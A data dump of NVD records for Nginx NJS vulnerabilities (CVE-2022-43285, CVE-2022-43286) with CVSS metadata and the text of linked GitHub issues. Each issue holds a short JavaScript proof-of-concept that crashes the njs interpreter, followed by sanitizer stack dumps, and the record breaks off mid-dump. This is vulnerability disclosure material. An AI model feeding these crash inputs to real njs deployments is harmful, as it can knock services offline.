[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/470"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/529"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:f5:njs:*:*:*:*:*:*:*:*",
"matchCriteriaId": "96DDAE5D-3253-48C1-8F20-270A3DEFA2F9",
"versionEndExcluding": null,
"versionEndIncluding": "0.7.4",
"versionStartExcluding": null,
"versionStartIncluding": "0.7.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/nginx/njs/issues/529
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"nginx",
"njs"
] |
### Environment
```
OS : Linux ubuntu 5.11.10 #1 SMP Sat Oct 30 23:40:08 CST 2021 x86_64 x86_64 x86_64 GNU/Linux
Commit : c62a9fb92b102c90a66aa724cb9054183a33a68c
Version : 0.7.4
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
function a2(a3,a4) {
try {
var a5 = a2();
var a6 = {};
var a7 = [a6,a6,a6,1.0,a6];
var a16 = a2();
a2 = a5;
var a18 = `
var a20 = (256)();
var a21 = \`
var a23 = Object();
var a24 = a20(...1894060106n,a23,a23,a7,Object,2152566096n);
var a25 = [Object,2152566096n,a23];
\`;
var a26 = {"d":2152566096n};
var a27 = {"a":a21,"b":a26,"constructor":1894060106n,"e":a26,"toString":-4207569322n,..."c",...2152566096n,...a26,...a18,...2152566096n};
var a28 = a20(a21,a27,1894060106n,-4207569322n,2152566096n);
`;
var a30 = /./m;
var a36 = /t/i;
var a39 = `
throw 0n;
var a40 = a36[(0n)](0n);
var a41 = -4207569322n != -828352779n;
`;
var a43 = /dN\w/i;
var a47 = Object();
var a48 = `
var a49 = [a47,a47,2152566096n,a30,a48,256,1894060106n,2152566096n,a30];
var a51 = a49(0n);
var a52 = a43["test"](0n);
var a53 = -1410768346n != 1538778485n;
`;
} catch(a54) {
} finally {
}
}
var a56 = new Promise(a2);
}
main();
```
### Stack dump
```
==3049569==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000435e70 bp 0x7ffc22356800 sp 0x7ffc22356620 T3049569)
==3049569==The signal is caused by a READ memory access.
==3049569==Hint: address points to the zero page.
#0 0x435e70 in njs_scope_valid_value /njs/src/njs_scope.h:86:10
#1 0x435e70 in njs_vmcode_function_copy /njs/src/njs_vmcode.c:1262:14
#2 0x435e70 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:741:23
#3 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#4 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#5 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#6 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#7 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#8 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#9 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#10 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#11 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#12 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#13 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#14 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#15 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#16 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#17 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#18 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#19 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#20 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#21 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#22 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#23 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#24 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#25 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#26 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#27 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#28 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#29 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#30 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#31 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#32 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#33 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#34 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#35 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#36 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#37 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#38 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#39 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#40 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#41 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#42 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#43 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#44 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#45 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#46 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#47 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#48 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#49 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#50 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#51 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#52 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#53 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#54 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#55 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#56 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#57 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#58 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#59 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#60 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#61 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#62 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#63 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#64 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#65 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#66 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#67 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#68 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#69 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#70 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#71 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#72 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#73 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#74 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#75 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#76 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#77 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#78 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#79 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#80 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#81 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#82 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#83 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#84 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#85 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#86 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#87 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#88 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#89 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#90 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#91 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#92 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#93 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#94 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#95 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#96 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#97 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#98 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#99 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#100 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#101 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#102 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#103 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#104 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#105 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#106 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#107 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#108 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#109 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#110 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#111 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#112 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#113 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#114 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#115 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#116 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#117 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#118 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#119 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#120 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#121 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#122 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#123 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#124 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#125 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#126 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#127 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#128 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#129 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#130 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#131 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#132 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#133 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#134 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#135 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#136 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#137 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#138 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#139 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#140 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#141 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#142 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#143 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#144 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#145 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#146 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#147 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#148 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#149 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#150 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#151 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#152 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#153 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#154 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#155 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#156 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#157 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#158 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#159 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#160 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#161 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#162 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#163 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#164 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#165 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#166 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#167 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#168 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#169 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#170 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#171 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#172 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#173 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#174 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#175 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#176 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#177 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#178 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#179 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#180 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#181 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#182 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#183 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#184 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#185 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#186 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#187 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#188 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#189 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#190 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#191 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#192 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#193 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#194 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#195 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#196 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#197 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#198 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#199 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#200 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#201 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#202 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#203 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#204 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#205 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#206 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#207 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#208 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#209 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#210 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#211 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#212 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#213 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#214 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#215 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#216 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#217 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#218 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#219 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#220 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#221 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#222 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#223 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#224 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#225 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#226 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#227 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#228 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#229 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#230 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#231 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#232 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#233 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#234 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#235 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#236 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#237 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#238 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#239 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#240 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#241 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#242 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#243 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#244 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#245 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#246 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#247 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#248 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#249 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#250 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
#251 0x468070 in njs_function_lambda_call /njs/src/njs_function.c:693:11
#252 0x4364d7 in njs_vmcode_interpreter /njs/src/njs_vmcode.c:799:23
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /njs/src/njs_scope.h:86:10 in njs_scope_valid_value
```
### Credit
Q1IQ(@Q1IQ)
|
SEGV njs_scope.h:86:10 in njs_scope_valid_value
|
https://api.github.com/repos/nginx/njs/issues/529/comments
| 1 |
2022-06-02T04:24:09Z
|
2022-06-02T04:57:43Z
|
https://github.com/nginx/njs/issues/529
| 1,257,667,476 | 529 |
CVE-2022-43285
|
2022-10-28T21:15:10.150
|
Nginx NJS v0.7.4 was discovered to contain a segmentation violation in njs_promise_reaction_job. NOTE: the vendor disputes the significance of this report because NJS does not operate on untrusted input.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/533"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:f5:njs:0.7.4:*:*:*:*:*:*:*",
"matchCriteriaId": "A12FD5A4-6946-49DD-95D4-154A8DA98F7A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/nginx/njs/issues/533
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"nginx",
"njs"
] |
#### Environment
```
OS : Linux ubuntu 5.13.0-44-generic #49~20.04.1-Ubuntu SMP Wed May 18 18:44:28 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : d09868bc71f9a990445959329ad8c1b10d3898f5
Version : 0.7.4
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
#### Proof of concept
```js
async function f(a1,a2) {
var v = await a1;
}
f.bind(1,2)();
```
#### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3153028==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000103 (pc 0x0000004e4e0e bp 0x7ffd69615960 sp 0x7ffd696150c0 T0)
==3153028==The signal is caused by a READ memory access.
==3153028==Hint: address points to the zero page.
#0 0x4e4e0e in njs_scope_valid_value /path/to/njs/src/njs_scope.h:86:10
#1 0x4e4e0e in njs_vmcode_interpreter /path/to/njs/src/njs_vmcode.c:175:17
#2 0x603263 in njs_await_fulfilled /path/to/njs/src/njs_async.c:91:11
#3 0x53afac in njs_function_native_call /path/to/njs/src/njs_function.c:728:11
#4 0x539699 in njs_function_frame_invoke /path/to/njs/src/njs_function.c:766:16
#5 0x539699 in njs_function_call2 /path/to/njs/src/njs_function.c:592:11
#6 0x5f2727 in njs_function_call /path/to/njs/src/njs_function.h:178:12
#7 0x5f2727 in njs_promise_reaction_job /path/to/njs/src/njs_promise.c:1171:15
#8 0x53afac in njs_function_native_call /path/to/njs/src/njs_function.c:728:11
#9 0x4dde50 in njs_vm_invoke /path/to/njs/src/njs_vm.c:428:12
#10 0x4dde50 in njs_vm_call /path/to/njs/src/njs_vm.c:412:12
#11 0x4dde50 in njs_vm_handle_events /path/to/njs/src/njs_vm.c:572:19
#12 0x4dde50 in njs_vm_run /path/to/njs/src/njs_vm.c:532:12
#13 0x4c7fd7 in njs_process_script /path/to/njs/src/njs_shell.c:924:15
#14 0x4c71eb in njs_process_file /path/to/njs/src/njs_shell.c:619:11
#15 0x4c71eb in main /path/to/njs/src/njs_shell.c:303:15
#16 0x7f4ec0d9e082 in __libc_start_main /build/glibc-KZwQYS/glibc-2.31/csu/../csu/libc-start.c:308:16
#17 0x41da7d in _start (/path/to/njs/build/njs+0x41da7d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /path/to/njs/src/njs_scope.h:86:10 in njs_scope_valid_value
==3153028==ABORTING
```
|
SEGV in njs_promise_reaction_job
|
https://api.github.com/repos/nginx/njs/issues/533/comments
| 0 |
2022-06-03T10:51:52Z
|
2022-10-11T02:36:10Z
|
https://github.com/nginx/njs/issues/533
| 1,259,761,132 | 533 |
CVE-2022-43286
|
2022-10-28T21:15:10.213
|
Nginx NJS v0.7.2 was discovered to contain a heap-use-after-free bug caused by illegal memory copy in the function njs_json_parse_iterator_call at njs_json.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/commit/2ad0ea24a58d570634e09c2e58c3b314505eaa6a"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/nginx/njs/issues/480"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:f5:njs:0.7.2:*:*:*:*:*:*:*",
"matchCriteriaId": "C1858598-78C6-451F-81B4-57F6D636EBAC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/nginx/njs/issues/480
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"nginx",
"njs"
] |
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a2 = Array(50189);
const a3 = {};
const a4 = [a3,a2,a3];
const a7 = JSON["stringify"](a4);
const a9 = Error.bind();
const a11 = JSON["parse"](a7,...a9);
}
main();
```
### Stack dump
```
=================================================================
==560434==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f40eb8c67f0 at pc 0x00000049564a bp 0x7fff4b3fe7f0 sp 0x7fff4b3fdfb8
